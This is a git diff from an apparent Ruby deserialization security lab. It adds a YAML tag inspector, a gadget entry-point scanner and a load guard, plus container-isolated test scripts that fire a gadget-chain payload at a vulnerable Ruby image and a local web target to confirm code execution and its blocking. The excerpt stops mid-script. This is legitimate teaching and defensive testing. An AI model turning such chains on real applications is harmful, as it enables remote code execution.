KIND_MARSHALABLE = "marshalable" + + REVIVAL_METHODS = { + KIND_OBJECT => "init_with", + KIND_HASH => "[]=", + KIND_ARRAY => "init_with", + KIND_STRING => "init_with", + KIND_STRUCT => "init_with", + KIND_EXCEPTION => "init_with", + KIND_MARSHALABLE => "marshal_load" + }.freeze + + GATED_KINDS = [KIND_MARSHALABLE].freeze + + module_function + + def parse(tag) + match = PATTERN.match(tag.to_s) + return nil unless match + + [match[:kind], match[:class_name]] + end + end + + class Limits + DEFAULT_MAX_BYTES = 1_048_576 + DEFAULT_MAX_DEPTH = 64 + DEFAULT_MAX_NODES = 10_000 + DEFAULT_MAX_ALIASES = 64 + DEFAULT_MAX_DOCUMENTS = 8 + + ROLE_BYTES = "document bytes" + ROLE_DEPTH = "nesting depth" + ROLE_NODES = "nodes" + ROLE_ALIASES = "aliases" + ROLE_DOCUMENTS = "documents" + + attr_reader :max_bytes, :max_depth, :max_nodes, :max_aliases, :max_documents + + def initialize(max_bytes: DEFAULT_MAX_BYTES, max_depth: DEFAULT_MAX_DEPTH, + max_nodes: DEFAULT_MAX_NODES, max_aliases: DEFAULT_MAX_ALIASES, + max_documents: DEFAULT_MAX_DOCUMENTS) + @max_bytes = max_bytes + @max_depth = max_depth + @max_nodes = max_nodes + @max_aliases = max_aliases + @max_documents = max_documents + end + end + + class Reference + attr_reader :class_name, :kind, :key_position + + def initialize(class_name:, kind:, key_position:) + @class_name = class_name + @kind = kind + @key_position = key_position + end + + def key_position? + @key_position + end + + def gated? + Tags::GATED_KINDS.include?(kind) + end + + def revival_method + Tags::REVIVAL_METHODS.fetch(kind, nil) + end + + def to_s + "#{class_name} (!ruby/#{kind})" + end + end + + class Document + attr_reader :references, :alias_count, :node_count, :document_count + + def initialize(references:, alias_count:, node_count:, document_count:) + @references = references + @alias_count = alias_count + @node_count = node_count + @document_count = document_count + end + + def class_names + references.filter_map(&:class_name).uniq + end + + def revivable + references.reject { |reference| reference.class_name.nil? } + end + + def key_position_references + references.select(&:key_position?) + end + + def gated_references + references.select(&:gated?) + end + end + + class Inspector + Decision = Marshalsea::Marshal::BoundaryDetector::Decision + + REASON_INPUT_TYPE = "input is not a String" + REASON_MALFORMED = "document is not parseable YAML: %s" + REASON_UNAPPROVED = "document revives unapproved class %s through %s" + REASON_KEY_DISPATCH = "document puts %s in a mapping key, so its #hash and #== run " \ + "while the mapping is rebuilt" + + LIMITATION_NOTICE = <<~NOTICE + SECURITY LIMITATION + + Marshalsea::Psych::Inspector reads a YAML document through Psych.parse_stream, which + builds an AST and revives nothing. It never calls YAML.load or YAML.unsafe_load. + + Unlike Marshal, Psych's own allowlist is a real veto: Psych checks the tag before it + revives the object, where Marshal runs its proc after the callback has already fired. + Same intent, opposite outcome, decided entirely by where the check sits. That means + YAML.safe_load with permitted_classes is a boundary and this inspector is only + detection and reporting on top of it. + + Prefer YAML.safe_load. Use this to see what a document would revive, to log it, or + to reject a document before it reaches a loader you do not control. + + Alias expansion is not performed here, so an alias bomb costs nothing to inspect. + It still costs whatever the eventual loader spends expanding it, which is why the + alias count is bounded and reported rather than ignored. + NOTICE + + def initialize(permitted_class_names: [], limits: Limits.new) + @permitted_class_names = permitted_class_names.map(&:to_s).freeze + @limits = limits + end + + def inspect_document(input) + return reject(REASON_INPUT_TYPE) unless input.is_a?(String) + + snapshot = input.dup.freeze + enforce_size(snapshot) + evaluate(read(snapshot), snapshot) + rescue DocumentError => e + reject(format(REASON_MALFORMED, e.class.name.split("::").last)) + end + + def read(source) + Walk.new(limits).call(::Psych.parse_stream(source)) + rescue ::Psych::SyntaxError => e + raise MalformedDocumentError, e.message + end + + private + + attr_reader :permitted_class_names, :limits + + def enforce_size(source) + return if source.bytesize <= limits.max_bytes + + raise LimitExceededError, "#{Limits::ROLE_BYTES} #{source.bytesize} exceeds #{limits.max_bytes}" + end + + def evaluate(document, snapshot) + violation = violation_for(document) + return reject(violation) if violation + + Decision.new(state: Decision::STATE_PROCEED, snapshot: snapshot, result: document) + end + + def violation_for(document) + keyed = document.key_position_references.first + return format(REASON_KEY_DISPATCH, keyed.class_name.inspect) if keyed + + unapproved = document.revivable.reject do |reference| + permitted_class_names.include?(reference.class_name) + end + return nil if unapproved.empty? + + format(REASON_UNAPPROVED, unapproved.first.class_name.inspect, + unapproved.first.revival_method) + end + + def reject(reason) + Decision.new(state: Decision::STATE_BLOCKED, reason: reason) + end + end + + class Walk + MAPPING_KEY_STRIDE = 2 + + def initialize(limits) + @limits = limits + @references = [] + @aliases = 0 + @nodes = 0 + @documents = 0 + end + + def call(stream) + @documents = stream.children.length + check(@documents, limits.max_documents, Limits::ROLE_DOCUMENTS) + stream.children.each { |child| visit(child, 1, false) } + Document.new(references: @references.freeze, alias_count: @aliases, + node_count: @nodes, document_count: @documents) + end + + private + + attr_reader :limits + + def check(value, ceiling, role) + return if value <= ceiling + + raise LimitExceededError, "#{role} #{value} exceeds #{ceiling}" + end + + def visit(node, depth, key_position) + check(depth, limits.max_depth, Limits::ROLE_DEPTH) + @nodes += 1 + check(@nodes, limits.max_nodes, Limits::ROLE_NODES) + + if node.is_a?(::Psych::Nodes::Alias) + @aliases += 1 + check(@aliases, limits.max_aliases, Limits::ROLE_ALIASES) + end + + record(node, key_position) + descend(node, depth) + end + + def record(node, key_position) + return unless node.respond_to?(:tag) + + kind, class_name = Tags.parse(node.tag) + return unless kind + + @references << Reference.new(class_name: class_name, kind: kind, key_position: key_position) + end + + def descend(node, depth) + children = node.children + return unless children + + mapping = node.is_a?(::Psych::Nodes::Mapping) + children.each_with_index do |child, index| + visit(child, depth + 1, mapping && (index % MAPPING_KEY_STRIDE).zero?) + end + end + end + end +end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/scanner.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/scanner.rb index 7b3f431e..0e8babef 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/scanner.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/scanner.rb @@ -3,13 +3,47 @@ # frozen_string_literal: true module Marshalsea - class Scanner - GATED_METHODS = %w[marshal_load _load_data].freeze - GATED_SINGLETON_METHODS = %w[_load].freeze - UNGATED_METHODS = %w[hash eql? == <=> []= to_s method_missing respond_to_missing? coerce].freeze + class ParseRecoveredError < StandardError + def initialize(errors) + super("Prism recovered an incomplete tree from #{errors} syntax errors") + end + end + class Scanner GATE_GATED = :gated + GATE_SOFT = :soft GATE_UNGATED = :ungated + GATE_LINK = :link + + FORMAT_MARSHAL = :marshal + FORMAT_PSYCH = :psych + + VARIADIC = -1 + + ENTRY_POINTS = { + "marshal_load" => { gate: GATE_GATED, arity: 1, formats: [FORMAT_MARSHAL, FORMAT_PSYCH] }, + "_load_data" => { gate: GATE_GATED, arity: 1, formats: [FORMAT_MARSHAL] }, + "_load" => { gate: GATE_GATED, arity: 1, formats: [FORMAT_MARSHAL], singleton: true }, + "init_with" => { gate: GATE_SOFT, arity: 1, formats: [FORMAT_PSYCH] }, + "hash" => { gate: GATE_UNGATED, arity: 0, formats: [FORMAT_MARSHAL, FORMAT_PSYCH] }, + "eql?" => { gate: GATE_UNGATED, arity: 1, formats: [FORMAT_MARSHAL, FORMAT_PSYCH] }, + "<=>" => { gate: GATE_UNGATED, arity: 1, formats: [FORMAT_MARSHAL] }, + "==" => { gate: GATE_UNGATED, arity: 1, formats: [FORMAT_PSYCH] }, + "[]=" => { gate: GATE_UNGATED, arity: 2, formats: [FORMAT_PSYCH] }, + "method_missing" => { gate: GATE_UNGATED, arity: VARIADIC, formats: [FORMAT_MARSHAL, FORMAT_PSYCH] }, + "respond_to_missing?" => { gate: GATE_UNGATED, arity: 2, formats: [FORMAT_MARSHAL, FORMAT_PSYCH] }, + "respond_to?" => { gate: GATE_UNGATED, arity: VARIADIC, formats: [FORMAT_PSYCH] }, + "to_s" => { gate: GATE_LINK, arity: 0, formats: [] }, + "coerce" => { gate: GATE_LINK, arity: 1, formats: [] } + }.freeze + + GATED_METHODS = ENTRY_POINTS.select { |_, spec| spec[:gate] == GATE_GATED && !spec[:singleton] } + .keys.freeze + GATED_SINGLETON_METHODS = ENTRY_POINTS.select { |_, spec| spec[:singleton] }.keys.freeze + UNGATED_METHODS = ENTRY_POINTS.select { |_, spec| spec[:gate] == GATE_UNGATED }.keys.freeze + LINK_METHODS = ENTRY_POINTS.select { |_, spec| spec[:gate] == GATE_LINK }.keys.freeze + INSTANCE_METHODS = ENTRY_POINTS.reject { |_, spec| spec[:singleton] }.keys.freeze + SINGLETON_METHODS = GATED_SINGLETON_METHODS PRISM_AVAILABLE = begin require "prism" @@ -39,9 +73,10 @@ module Marshalsea SUBJECT_UNNAMED = "(module that cannot report a name)" class Candidate - attr_reader :class_name, :method_name, :gate, :source_location, :arity + attr_reader :class_name, :method_name, :gate, :source_location, :arity, :formats - def initialize(class_name:, method_name:, gate:, source_location:, arity:, singleton:, touches_state:) + def initialize(class_name:, method_name:, gate:, source_location:, arity:, singleton:, + touches_state:, formats:) @class_name = class_name @method_name = method_name @gate = gate @@ -49,6 +84,7 @@ module Marshalsea @arity = arity @singleton = singleton @touches_state = touches_state + @formats = formats end def singleton? @@ -59,6 +95,30 @@ module Marshalsea gate == GATE_GATED end + def soft_gated? + gate == GATE_SOFT + end + + def link? + gate == GATE_LINK + end + + def entry_point? + !link? + end + + def dispatch_arity + ENTRY_POINTS.fetch(method_name).fetch(:arity) + end + + def accepts_dispatch? + required = dispatch_arity + return true if required == VARIADIC + return arity == required unless arity.negative? + + required >= (arity.abs - 1) + end + def zero_arity? arity.zero? end @@ -80,8 +140,9 @@ module Marshalsea end def reachable? - return true if gated? - return false unless zero_arity? + return false unless entry_point? + return false unless accepts_dispatch? + return true if gated? || soft_gated? touches_state? || unreadable_source? end @@ -149,13 +210,25 @@ module Marshalsea end def ungated - candidates.reject(&:gated?) + candidates.select { |candidate| candidate.gate == GATE_UNGATED } + end + + def links + candidates.select(&:link?) + end + + def entry_points + candidates.select(&:entry_point?) end def reachable candidates.select(&:reachable?) end + def reachable_in(format) + reachable.select { |candidate| candidate.formats.include?(format) } + end + def prism_available? PRISM_AVAILABLE end @@ -210,27 +283,29 @@ module Marshalsea end def collect_instance_methods(mod, name) - own = own_instance_methods(mod, name) - - (own & GATED_METHODS).each do |method_name| - record(mod, name, method_name, GATE_GATED, singleton: false) - end - - (own & UNGATED_METHODS).each do |method_name| - record(mod, name, method_name, GATE_UNGATED, singleton: false) + (own_instance_methods(mod, name) & INSTANCE_METHODS).each do |method_name| + record(mod, name, method_name, singleton: false) end end def collect_singleton_methods(mod, name) - own = mod.singleton_methods(false).map(&:to_s) - - (own & GATED_SINGLETON_METHODS).each do |method_name| - record(mod, name, method_name, GATE_GATED, singleton: true) + (own_singleton_methods(mod, name) & SINGLETON_METHODS).each do |method_name| + record(mod, name, method_name, singleton: true) end end def own_instance_methods(mod, name) - (mod.instance_methods(false) + mod.private_instance_methods(false)).map(&:to_s) + (mod.instance_methods(false) + + mod.private_instance_methods(false) + + mod.protected_instance_methods(false)).map(&:to_s) + rescue StandardError => e + suppress(SITE_OWN_METHODS, name, e) + [] + end + + def own_singleton_methods(mod, name) + (mod.singleton_methods(false) + + mod.singleton_class.private_instance_methods(false)).map(&:to_s) rescue StandardError => e suppress(SITE_OWN_METHODS, name, e) [] @@ -240,17 +315,19 @@ module Marshalsea "#{name}#{singleton ? '.' : '#'}#{method_name}" end - def record(mod, name, method_name, gate, singleton:) - handle = singleton ? mod.singleton_method(method_name) : mod.instance_method(method_name) + def record(mod, name, method_name, singleton:) + spec = ENTRY_POINTS.fetch(method_name) + handle = singleton ? mod.singleton_class.instance_method(method_name) : mod.instance_method(method_name) @candidates << Candidate.new( class_name: name, method_name: method_name, - gate: gate, + gate: spec.fetch(:gate), source_location: format_location(handle.source_location), arity: handle.arity, singleton: singleton, - touches_state: state_reference_in(handle, qualified(name, method_name, singleton)) + touches_state: state_reference_in(handle, qualified(name, method_name, singleton)), + formats: spec.fetch(:formats) ) rescue StandardError, ScriptError => e suppress(SITE_CANDIDATE, qualified(name, method_name, singleton), e) @@ -288,8 +365,14 @@ module Marshalsea end def parse_definitions(path) + parsed = Prism.parse_file(path) + if parsed.failure? + suppress(SITE_SOURCE_PARSE, path, ParseRecoveredError.new(parsed.errors.length)) + return nil + end + found = {} - collect_definitions(Prism.parse_file(path).value, found) + collect_definitions(parsed.value, found) found rescue StandardError, ScriptError => e suppress(SITE_SOURCE_PARSE, path, e) diff --git a/PROJECTS/beginner/deserialization-gadget-lab/marshalsea.gemspec b/PROJECTS/beginner/deserialization-gadget-lab/marshalsea.gemspec index b5583f4f..93a73be2 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/marshalsea.gemspec +++ b/PROJECTS/beginner/deserialization-gadget-lab/marshalsea.gemspec @@ -8,7 +8,7 @@ Gem::Specification.new do |spec| spec.name = "marshalsea" spec.version = Marshalsea::VERSION spec.authors = ["Carter Perez"] - spec.email = ["carterperez2222@gmail.com"] + spec.email = ["carterperez@angelamos.com"] spec.summary = "Ruby object-deserialization security lab: inspect, understand, and defend against gadget chains" spec.description = "marshalsea parses Ruby Marshal streams without deserializing them, discovers " \ @@ -22,7 +22,6 @@ Gem::Specification.new do |spec| spec.metadata = { "source_code_uri" => "#{spec.homepage}/tree/main/PROJECTS/beginner/deserialization-gadget-lab", "bug_tracker_uri" => "#{spec.homepage}/issues", - "changelog_uri" => "#{spec.homepage}/blob/main/PROJECTS/beginner/deserialization-gadget-lab/CHANGELOG.md", "documentation_uri" => "#{spec.homepage}/tree/main/PROJECTS/beginner/deserialization-gadget-lab/learn", "rubygems_mfa_required" => "true" } @@ -30,7 +29,6 @@ Gem::Specification.new do |spec| spec.files = Dir[ "lib/**/*.rb", "README.md", - "CHANGELOG.md", "LICENSE" ] diff --git a/PROJECTS/beginner/deserialization-gadget-lab/scripts/audit_gem.rb b/PROJECTS/beginner/deserialization-gadget-lab/scripts/audit_gem.rb index ad3b1153..47fb67ef 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/scripts/audit_gem.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/scripts/audit_gem.rb @@ -11,7 +11,7 @@ TREE = ARGV.fetch(1) EXPECTED_FLOOR = ARGV.fetch(2) EXTRACT_ROOT = ARGV.fetch(3) -DOC_FILES = %w[README.md CHANGELOG.md LICENSE].freeze +DOC_FILES = %w[README.md LICENSE].freeze LIB_PREFIX = "lib/" FORBIDDEN = { diff --git a/PROJECTS/beginner/deserialization-gadget-lab/scripts/detector-gate.sh b/PROJECTS/beginner/deserialization-gadget-lab/scripts/detector-gate.sh index c74585b9..518e2417 100755 --- a/PROJECTS/beginner/deserialization-gadget-lab/scripts/detector-gate.sh +++ b/PROJECTS/beginner/deserialization-gadget-lab/scripts/detector-gate.sh @@ -52,6 +52,52 @@ if loose_hostile.proceed? fired = File.exist?(CANARY) end puts "documented_bypass_executes=#{fired}" +File.delete(CANARY) if File.exist?(CANARY) + +G = Marshalsea::Marshal::LoadGuard +BODIES = [] +class GuardGadget + def marshal_dump = ["x"] + def marshal_load(_d) = BODIES << :ran +end +class GuardBenign + def marshal_dump = ["x"] + def marshal_load(_d) = BODIES << :ran +end + +gadget_blob = Marshal.dump(GuardGadget.new) +benign_blob = Marshal.dump(GuardBenign.new) + +BODIES.clear +vetoed = begin + G.new.load(gadget_blob) + false +rescue Marshalsea::Marshal::GuardedLoadError + true +end +puts "guard_vetoes_an_unpermitted_hook=#{vetoed}" +puts "guard_vetoes_before_the_body_runs=#{BODIES.empty?}" + +BODIES.clear +allowed = begin + G.new(permitted_class_names: %w[GuardBenign]).load(benign_blob) + true +rescue Marshalsea::Marshal::GuardedLoadError + false +end +puts "control_guard_admits_a_permitted_hook=#{allowed}" +puts "control_the_permitted_body_actually_ran=#{BODIES == [:ran]}" + +BODIES.clear +guard_run = G.new +begin + guard_run.load(gadget_blob) +rescue Marshalsea::Marshal::GuardedLoadError + nil +end +puts "guard_reports_the_hook_it_refused=#{guard_run.observations.map(&:to_s) == ["GuardGadget#marshal_load"]}" + +puts "guard_error_is_an_ordinary_standard_error=#{Marshalsea::Marshal::GuardedLoadError < StandardError}" ' 2>&1)" echo "${output}" | sed 's/^/ /' @@ -77,6 +123,12 @@ expect observe_and_log_reports_observed "observe-and-log reports the third state expect observe_and_log_proceeds_on_benign "observe-and-log still proceeds on a clean stream" expect blocked_is_not_also_observed "the three decision states stay mutually exclusive" expect documented_bypass_executes "the documented bypass actually executes, so the notice is honest" +expect guard_vetoes_an_unpermitted_hook "the runtime guard refuses an unpermitted deserialization hook" +expect guard_vetoes_before_the_body_runs "the guard vetoes before the hook body runs, which the load proc cannot do" +expect control_guard_admits_a_permitted_hook "a guard that refused everything would prove nothing" +expect control_the_permitted_body_actually_ran "the permitted hook really executed, so the control is live" +expect guard_reports_the_hook_it_refused "the guard names the hook it refused rather than failing silently" +expect guard_error_is_an_ordinary_standard_error "the guard raises a StandardError, not a SecurityError that skips every rescue" echo if [[ ${failures} -eq 0 ]]; then diff --git a/PROJECTS/beginner/deserialization-gadget-lab/scripts/exploit-gate.sh b/PROJECTS/beginner/deserialization-gadget-lab/scripts/exploit-gate.sh index c523e418..cd5a4317 100755 --- a/PROJECTS/beginner/deserialization-gadget-lab/scripts/exploit-gate.sh +++ b/PROJECTS/beginner/deserialization-gadget-lab/scripts/exploit-gate.sh @@ -8,53 +8,91 @@ HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" VULNERABLE_IMAGE="ruby:4.0.2-slim" PATCHED_IMAGE="ruby:4.0.6-slim" +VULNERABLE_TAG="marshalsea-chain:vulnerable" +PATCHED_TAG="marshalsea-chain:patched" + +build_probe_image() { + docker build -q \ + --build-arg "RUBY_IMAGE=$1" \ + -f "${HERE}/target/chain.Dockerfile" \ + -t "$2" "${HERE}" >/dev/null +} run_probe() { - local image="$1" + local tag="$1" + local label="$2" docker run --rm \ --network none \ --read-only \ --tmpfs /tmp:rw,noexec,nosuid,size=1m \ --user nobody \ - -e "MATRIX_IMAGE=${image#ruby:}" \ + -e "MATRIX_IMAGE=${label}" \ -v "${HERE}/lib:/app/lib:ro" \ -v "${HERE}/test/support/exploit_probe.rb:/app/probe.rb:ro" \ -w /app \ - "${image}" ruby -Ilib /app/probe.rb 2>&1 + "${tag}" ruby -Ilib /app/probe.rb 2>&1 } echo "CVE-2026-41316 exploit gate" echo -vulnerable_output="$(run_probe "${VULNERABLE_IMAGE}")" -vulnerable_status=$? -echo " ${vulnerable_output}" +echo "building probe images" +build_probe_image "${VULNERABLE_IMAGE}" "${VULNERABLE_TAG}" || { + echo "FAIL could not build the vulnerable probe image" + exit 1 +} +build_probe_image "${PATCHED_IMAGE}" "${PATCHED_TAG}" || { + echo "FAIL could not build the patched probe image" + exit 1 +} +echo -patched_output="$(run_probe "${PATCHED_IMAGE}")" +vulnerable_output="$(run_probe "${VULNERABLE_TAG}" "${VULNERABLE_IMAGE#ruby:}")" +vulnerable_status=$? +echo "${vulnerable_output}" | sed 's/^/ /' + +patched_output="$(run_probe "${PATCHED_TAG}" "${PATCHED_IMAGE#ruby:}")" patched_status=$? -echo " ${patched_output}" +echo "${patched_output}" | sed 's/^/ /' echo failures=0 -if [[ "${vulnerable_output}" == *"outcome=FIRED"* ]]; then - echo " PASS payload executes on the vulnerable image" +expect_line() { + local output="$1" key="$2" want="$3" message="$4" + if echo "${output}" | grep -qx "${key}=${want}"; then + echo " PASS ${message}" + else + echo " FAIL ${message}" + failures=$((failures + 1)) + fi +} + +if [[ "${vulnerable_output}" == *"chain=FIRED"* ]]; then + echo " PASS the chain executes from Marshal.load alone on the vulnerable image" else - echo " FAIL payload did not execute on the vulnerable image" + echo " FAIL the chain did not execute on the vulnerable image" failures=$((failures + 1)) fi -if [[ "${patched_output}" == *"outcome=BLOCKED"* ]]; then - echo " PASS patched image blocks the same payload" +if [[ "${patched_output}" == *"chain=BLOCKED"* ]]; then + echo " PASS the patched image blocks the same chain" else - echo " FAIL patched image did not block the payload" + echo " FAIL the patched image did not block the chain" failures=$((failures + 1)) fi -if [[ ${vulnerable_status} -eq 0 && ${patched_status} -eq 0 ]]; then - echo " PASS observed outcome matched the chain metadata prediction on both" +expect_line "${vulnerable_output}" builder_did_not_execute_its_own_payload true \ + "building the payload does not run it in the builder's own process" +expect_line "${vulnerable_output}" primitive_is_inert_until_the_application_calls_it true \ + "the primitive is inert on load and needs an application call, unlike the chain" +expect_line "${vulnerable_output}" chain_carries_no_sink_tag true \ + "the chain carries no sink tag, so only the class rules can catch it" + +if [[ "${vulnerable_status}" -eq 0 && "${patched_status}" -eq 0 ]]; then + echo " PASS every observed outcome matched the chain metadata prediction" else - echo " FAIL observed outcome contradicted the chain metadata prediction" + echo " FAIL an observed outcome contradicted the chain metadata prediction" failures=$((failures + 1)) fi diff --git a/PROJECTS/beginner/deserialization-gadget-lab/scripts/package-gate.sh b/PROJECTS/beginner/deserialization-gadget-lab/scripts/package-gate.sh index 36b51f97..4e1c5a66 100755 --- a/PROJECTS/beginner/deserialization-gadget-lab/scripts/package-gate.sh +++ b/PROJECTS/beginner/deserialization-gadget-lab/scripts/package-gate.sh @@ -103,7 +103,7 @@ echo " rake release would tag: ${release_tag}" echo "release_tag_is_namespaced=$([[ ${release_tag} == "marshalsea-v${gem_version}" ]] && echo true || echo false)" | record bare_tag="$(run -v "${HERE}:/app:ro" -w /tmp "${BUILD_IMAGE}" sh -c ' - cp -r /app/lib /app/marshalsea.gemspec /app/README.md /app/CHANGELOG.md /app/LICENSE /tmp/ 2>/dev/null + cp -r /app/lib /app/marshalsea.gemspec /app/README.md /app/LICENSE /tmp/ 2>/dev/null printf "require \"rake\"\nrequire \"bundler/gem_tasks\"\n" >/tmp/Rakefile ruby -e "require \"rake\"; load \"Rakefile\"; print Bundler::GemHelper.instance.send(:version_tag)" ' 2>/dev/null)" @@ -112,7 +112,8 @@ echo echo "=== 5 the floor is measured, not asserted ===" suite_status=0 -for suite in marshal/parser_test scanner_test chains_test marshal/boundary_detector_test corpus_test; do +for suite in marshal/parser_test scanner_test chains_test marshal/boundary_detector_test \ + marshal/load_guard_test psych/inspector_test corpus_test; do if ! docker run --rm --network none -v "${HERE}:/app:ro" -w /app "${FLOOR_IMAGE}" \ ruby -Ilib -Itest "test/${suite}.rb" >/dev/null 2>&1; then echo " ${suite} is RED on the floor image" @@ -167,14 +168,14 @@ Gem::Specification.new do |spec| spec.homepage = "https://github.com/CarterPerez-dev/Cybersecurity-Projects" spec.license = "AGPL-3.0-or-later" spec.required_ruby_version = ">= 3.4" - spec.files = Dir["lib/**/*.rb", "target/**/*", "README.md", "CHANGELOG.md", "LICENSE"] + spec.files = Dir["lib/**/*.rb", "target/**/*", "README.md", "LICENSE"] spec.require_paths = ["lib"] end SPEC run -v "${HERE}:/src:ro" -v "${WORK}/ships-target:/out" -w /out "${BUILD_IMAGE}" sh -c ' set -e - tar -C /src -cf - lib target README.md CHANGELOG.md LICENSE | tar -xf - + tar -C /src -cf - lib target README.md LICENSE | tar -xf - gem build marshalsea.gemspec ' >/dev/null 2>&1 diff --git a/PROJECTS/beginner/deserialization-gadget-lab/scripts/target-gate.sh b/PROJECTS/beginner/deserialization-gadget-lab/scripts/target-gate.sh index 8c5b396f..a4ce2253 100755 --- a/PROJECTS/beginner/deserialization-gadget-lab/scripts/target-gate.sh +++ b/PROJECTS/beginner/deserialization-gadget-lab/scripts/target-gate.sh @@ -8,15 +8,30 @@ HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" IMAGE="marshalsea-target:local" CONTAINER="marshalsea-target-gate" -PORT="${MARSHALSEA_TARGET_PORT:-47823}" -BASE="http://127.0.0.1:${PORT}" +NETWORK="marshalsea-target-gate-net" +BUILD_IMAGE="ruby:4.0-slim" +CANARY_PATH="/tmp/marshalsea-canary" CANARY_MARKER="fired" +TARGET_BASE="http://${CONTAINER}:4567" +PINNED_GEMS="rack 3.2.6 sinatra 4.2.1 rackup 2.3.1 webrick 1.9.2" cleanup() { docker rm -f "${CONTAINER}" >/dev/null 2>&1 || true + docker network rm "${NETWORK}" >/dev/null 2>&1 || true } trap cleanup EXIT +failures=0 + +fail() { + echo " FAIL $1" + failures=$((failures + 1)) +} + +pass() { + echo " PASS $1" +} + echo "building target image" docker build -q -f "${HERE}/target/Dockerfile" -t "${IMAGE}" "${HERE}" >/dev/null || { echo "FAIL image build" @@ -24,29 +39,71 @@ docker build -q -f "${HERE}/target/Dockerfile" -t "${IMAGE}" "${HERE}" >/dev/nul } cleanup +docker network create --internal "${NETWORK}" >/dev/null || { + echo "FAIL could not create the isolated network" + exit 1 +} + docker run -d --name "${CONTAINER}" \ - --network bridge \ + --network "${NETWORK}" \ --read-only \ --tmpfs /tmp:rw,noexec,nosuid,size=1m \ - -p "127.0.0.1:${PORT}:4567" \ + --cap-drop ALL \ + --security-opt no-new-privileges \ + --pids-limit 128 \ + --memory 256m \ "${IMAGE}" >/dev/null +client() { + local path="$1" + local cookie="${2:-}" + docker run --rm --network "${NETWORK}" \ + -e "TARGET_BASE=${TARGET_BASE}" \ + -v "${HERE}/scripts/target_client.rb:/client.rb:ro" \ + "${BUILD_IMAGE}" ruby /client.rb "${path}" "${cookie}" 2>/dev/null +} + +status_of() { printf '%s' "$1" | head -1 | cut -f1; } +body_of() { printf '%s' "$1" | tail -n +2; } + for _ in $(seq 1 40); do - curl -sf "${BASE}/" >/dev/null 2>&1 && break + [[ "$(status_of "$(client /)")" == "200" ]] && break sleep 0.5 done -if ! curl -sf "${BASE}/" >/dev/null 2>&1; then - echo "FAIL target never became reachable on ${PORT}" +root="$(client /)" +if [[ "$(status_of "${root}")" != "200" ]]; then + echo "FAIL target never became reachable inside ${NETWORK}" docker logs "${CONTAINER}" 2>&1 | tail -20 exit 1 fi echo -curl -s "${BASE}/" | head -3 +body_of "${root}" | head -3 echo -payload="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app ruby:4.0-slim \ +echo "=== 1 isolation ===" +egress="$(docker run --rm --network "${NETWORK}" "${BUILD_IMAGE}" \ + sh -c 'timeout 6 getent hosts rubygems.org >/dev/null 2>&1 && echo REACHED || echo BLOCKED' 2>/dev/null)" +if [[ "${egress}" == "BLOCKED" ]]; then + pass "the network that runs attacker Ruby has no route off the host" +else + fail "the target network reaches the internet, so a payload can too" +fi + +resolved="$(docker run --rm --network none "${IMAGE}" \ + ruby -e 'print %w[rack sinatra rackup webrick].map { |g| + "#{g} #{Gem::Specification.find_all_by_name(g).map(&:version).max}" }.join(" ")' 2>/dev/null)" +echo " resolved: ${resolved}" +if [[ "${resolved}" == "${PINNED_GEMS}" ]]; then + pass "the image ships exactly the pinned dependency versions" +else + fail "dependency drift: expected '${PINNED_GEMS}'" +fi + +echo +echo "=== 2 the vulnerable endpoint ===" +payload="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app "${BUILD_IMAGE}" \ ruby -Ilib -e ' require "marshalsea" require "base64" @@ -60,93 +117,140 @@ if [[ -z "${payload}" ]]; then exit 1 fi -failures=0 +before="$(body_of "$(client /canary)")" +vulnerable="$(client /render "session_state=${payload}")" +after="$(body_of "$(client /canary)")" -before="$(curl -s "${BASE}/canary")" -vulnerable_body="$(curl -s --cookie "session_state=${payload}" "${BASE}/render")" -after="$(curl -s "${BASE}/canary")" - -echo " vulnerable endpoint : ${vulnerable_body}" +echo " vulnerable endpoint : $(status_of "${vulnerable}") $(body_of "${vulnerable}")" echo " canary before/after : ${before} -> ${after}" -if [[ "${after}" == "${CANARY_MARKER}" && "${before}" != "${CANARY_MARKER}" ]]; then - echo " PASS HTTP request achieved code execution through Marshal.load" +if [[ "${before}" == "absent" && "${after}" == "${CANARY_MARKER}" && + "$(status_of "${vulnerable}")" == "200" ]]; then + pass "HTTP request achieved code execution through Marshal.load" else - echo " FAIL payload did not execute over HTTP" - failures=$((failures + 1)) + fail "payload did not execute over HTTP with a 200" fi -docker exec "${CONTAINER}" rm -f /tmp/marshalsea-canary >/dev/null 2>&1 || true - -reset="$(curl -s "${BASE}/canary")" -safe_body="$(curl -s --cookie "session_state=${payload}" "${BASE}/render/safe")" -safe_after="$(curl -s "${BASE}/canary")" +docker exec "${CONTAINER}" rm -f "${CANARY_PATH}" >/dev/null 2>&1 || true echo -echo " defended endpoint : ${safe_body}" -echo " canary before/after : ${reset} -> ${safe_after}" +echo "=== 3 the defended endpoint ===" +reset="$(body_of "$(client /canary)")" +defended="$(client /render/safe "session_state=${payload}")" +defended_after="$(body_of "$(client /canary)")" -if [[ "${safe_after}" != "${CANARY_MARKER}" && "${safe_body}" == rejected* ]]; then - echo " PASS defended endpoint rejected the identical payload" +echo " defended endpoint : $(status_of "${defended}") $(body_of "${defended}")" +echo " canary before/after : ${reset} -> ${defended_after}" + +if [[ "$(status_of "${defended}")" == "400" && "$(body_of "${defended}")" == rejected:* && + "${defended_after}" != "${CANARY_MARKER}" ]]; then + pass "defended endpoint answered 400 with a rejection and created no canary" else - echo " FAIL defended endpoint did not reject the payload" - failures=$((failures + 1)) + fail "defended endpoint did not reject the identical payload with a 400" fi -jar="$(mktemp)" -curl -s -X POST "${BASE}/session" -d "" -c "${jar}" >/dev/null -benign="$(awk '$6 == "session_state" {print $7}' "${jar}")" -rm -f "${jar}" - -echo -if [[ -z "${benign}" ]]; then - echo " FAIL could not obtain a benign session, the control did not run" - failures=$((failures + 1)) +benign="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app "${BUILD_IMAGE}" \ + ruby -Ilib -e ' +require "base64" +print 